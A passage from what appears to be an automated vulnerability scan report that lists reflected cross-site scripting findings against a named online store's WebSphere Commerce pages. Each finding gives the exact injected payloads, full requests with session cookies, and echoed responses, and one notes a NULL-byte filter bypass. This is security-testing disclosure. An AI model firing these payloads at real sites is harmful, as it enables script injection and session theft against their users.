Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:19 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23210

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-1&catalogId=10002&storeId=10051140b6"style="x:expression(alert(1))"98e6138f573&nav_wt=header">
...[SNIP]...

2.957. http://www.rodalestore.com/webapp/wcs/stores/servlet/ContactView [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ContactView

Issue detail

The value of REST URL parameter 5 is copied into an HTML comment. The payload f3f90--><img%20src%3da%20onerror%3dalert(1)>259273d20e was submitted in the REST URL parameter 5. This input was echoed as f3f90--><img src=a onerror=alert(1)>259273d20e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/ContactViewf3f90--><img%20src%3da%20onerror%3dalert(1)>259273d20e?langId=-1&storeId=10051&catalogId=10002&nav_wt=footer HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:21:30 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 22905

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
ystem, and check the log file.

Exception Type: 0
Message Key: _ERR_CMD_CMD_NOT_FOUND
Message: CMN3101E The system is unavailable due to "CMN0203E".
System Message: Command not found: "ContactViewf3f90--><img src=a onerror=alert(1)>259273d20e".
Originating Command:
Corrective Action:

//*-------------------------------------------------------------------
//*
-->
...[SNIP]...

2.958. http://www.rodalestore.com/webapp/wcs/stores/servlet/ContactView [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ContactView

Issue detail

The value of the langId request parameter is copied into the HTML document as plain text between tags. The payload cb51a<img%20src%3da%20onerror%3dalert(1)>9461981b8cc was submitted in the langId parameter. This input was echoed as cb51a<img src=a onerror=alert(1)>9461981b8cc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/ContactView?langId=-1cb51a<img%20src%3da%20onerror%3dalert(1)>9461981b8cc&storeId=10051&catalogId=10002&nav_wt=footer HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:51 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20427

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>Generic Error</title>
   <link rel=stylesheet href="/wc
...[SNIP]...
<select name="currency">
               Exception:java.lang.NumberFormatException: For input string: "-1cb51a<img src=a onerror=alert(1)>9461981b8cc"

   </td>
...[SNIP]...

2.959. http://www.rodalestore.com/webapp/wcs/stores/servlet/ContactView [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ContactView

Issue detail

The value of the langId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 394f0"><img%20src%3da%20onerror%3dalert(1)>b30db7d193b was submitted in the langId parameter. This input was echoed as 394f0"><img src=a onerror=alert(1)>b30db7d193b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/ContactView?langId=-1394f0"><img%20src%3da%20onerror%3dalert(1)>b30db7d193b&storeId=10051&catalogId=10002&nav_wt=footer HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:20:46 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20475

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-1394f0"><img src=a onerror=alert(1)>b30db7d193b&catalogId=10002&storeId=10051&nav_wt=header">
...[SNIP]...

2.960. http://www.rodalestore.com/webapp/wcs/stores/servlet/ContactView [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ContactView

Issue detail

The value of the langId request parameter is copied into an HTML comment. The payload 8d9bf--><img%20src%3da%20onerror%3dalert(1)>bb1e074b2c8 was submitted in the langId parameter. This input was echoed as 8d9bf--><img src=a onerror=alert(1)>bb1e074b2c8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/ContactView?langId=-18d9bf--><img%20src%3da%20onerror%3dalert(1)>bb1e074b2c8&storeId=10051&catalogId=10002&nav_wt=footer HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:21:14 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20499

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-18d9bf--><img src=a onerror=alert(1)>bb1e074b2c8&storeId=10051&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.961. http://www.rodalestore.com/webapp/wcs/stores/servlet/ContactView [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ContactView

Issue detail

The value of the storeId request parameter is copied into an HTML comment. The payload 9dc00--><img%20src%3da%20onerror%3dalert(1)>1269a428526 was submitted in the storeId parameter. This input was echoed as 9dc00--><img src=a onerror=alert(1)>1269a428526 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/ContactView?langId=-1&storeId=100519dc00--><img%20src%3da%20onerror%3dalert(1)>1269a428526&catalogId=10002&nav_wt=footer HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:21:24 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 24301

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="PrivacyView?langId=-1&storeId=100519dc00--><img src=a onerror=alert(1)>1269a428526&catalogId=10002&nav_wt=footer">
...[SNIP]...

2.962. http://www.rodalestore.com/webapp/wcs/stores/servlet/ContactView [storeId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/ContactView

Issue detail

The value of the storeId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6db10"><img%20src%3da%20onerror%3dalert(1)>9386282030c was submitted in the storeId parameter. This input was echoed as 6db10"><img src=a onerror=alert(1)>9386282030c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/ContactView?langId=-1&storeId=100516db10"><img%20src%3da%20onerror%3dalert(1)>9386282030c&catalogId=10002&nav_wt=footer HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:21:19 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 23430

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
<a href="StoreCatalogDisplay?langId=-1&catalogId=10002&storeId=100516db10"><img src=a onerror=alert(1)>9386282030c&nav_wt=header">
...[SNIP]...

2.963. http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/HelpView

Issue detail

The value of REST URL parameter 5 is copied into an HTML comment. The payload 27750--><img%20src%3da%20onerror%3dalert(1)>68b021f9f1a was submitted in the REST URL parameter 5. This input was echoed as 27750--><img src=a onerror=alert(1)>68b021f9f1a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/HelpView27750--><img%20src%3da%20onerror%3dalert(1)>68b021f9f1a?langId=-1&storeId=10051&catalogId=10002&nav_wt=footer HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:21:16 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 22903

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Generic Error</title>
<link rel=stylesheet href="/wc
...[SNIP]...
e system, and check the log file.

Exception Type: 0
Message Key: _ERR_CMD_CMD_NOT_FOUND
Message: CMN3101E The system is unavailable due to "CMN0203E".
System Message: Command not found: "HelpView27750--><img src=a onerror=alert(1)>68b021f9f1a".
Originating Command:
Corrective Action:

//*-------------------------------------------------------------------
//*
-->
...[SNIP]...

2.964. http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [catalogId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/HelpView

Issue detail

The value of the catalogId request parameter is copied into the HTML document as plain text between tags. The payload ed9eb<img%20src%3da%20onerror%3dalert(1)>4f41123d6b2 was submitted in the catalogId parameter. This input was echoed as ed9eb<img src=a onerror=alert(1)>4f41123d6b2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/HelpView?langId=-1&storeId=10051&catalogId=ed9eb<img%20src%3da%20onerror%3dalert(1)>4f41123d6b2&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:21:04 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html
Content-Language: en-US
Content-Length: 10829

<!--
//********************************************************************
//*-------------------------------------------------------------------
//* Licensed Materials - Property of IBM
//*
/
...[SNIP]...
<TD>The following error has occurred during processing: "For input string: "ed9eb<img src=a onerror=alert(1)>4f41123d6b2"".</TD>
...[SNIP]...

2.965. http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/HelpView

Issue detail

The value of the langId request parameter is copied into the HTML document as plain text between tags. The payload d0d52<img%20src%3da%20onerror%3dalert(1)>cd5146e2686 was submitted in the langId parameter. This input was echoed as d0d52<img src=a onerror=alert(1)>cd5146e2686 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /webapp/wcs/stores/servlet/HelpView?langId=-1d0d52<img%20src%3da%20onerror%3dalert(1)>cd5146e2686&storeId=10051&catalogId=10002&mag=store&nav_wt=leftnav HTTP/1.1
Host: www.rodalestore.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000Hb8YAOOvmKniqMib5bAIzo4:145kqmq3s; __utmz=216382869.1299775175.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WC_SESSION_ESTABLISHED=true; __utma=216382869.1807155490.1299775175.1299775175.1299775175.1; WC_GENERIC_ACTIVITYDATA=[37065634%3atrue%3afalse%3a0%3aLPw0HTJ20OPYuj1lG81aeA2IKII%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10051%2610051%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utmc=216382869; __utmb=216382869.1.10.1299775175; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2coXeyZ9gKMG%2bo5oHryp2dp63qc7Il0UPg9E1IYuPt5ogzi3GA%2fVwectE3Tl2sprL0EhxKu5Q0L27M%0a3CAhqin547L4%2f04%2fqltOROSrxCkI4IgNGgnjiA41wCG3TjzOUjAqM4AIs4JacSI%3d;

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 17:21:04 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO_8859-1
Content-Language: en-US
Content-Length: 20424

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
   <title>Generic Error</title>
   <link rel=stylesheet href="/wc
...[SNIP]...
<select name="currency">
               Exception:java.lang.NumberFormatException: For input string: "-1d0d52<img src=a onerror=alert(1)>cd5146e2686"

   </td>
...[SNIP]...

2.966. http://www.rodalestore.com/webapp/wcs/stores/servlet/HelpView [langId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodalestore.com
Path:	/webapp/wcs/stores/servlet/HelpView

Issue detail

The value of the langId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b358"><img%20src%3da%20onerror%3dalert(1)>0e2aacca4c6 was submitted in the langId parameter. This input was echoed as 8b358"><img src=a onerror=alert(1)>0e2aacca4c6 in the application's response.

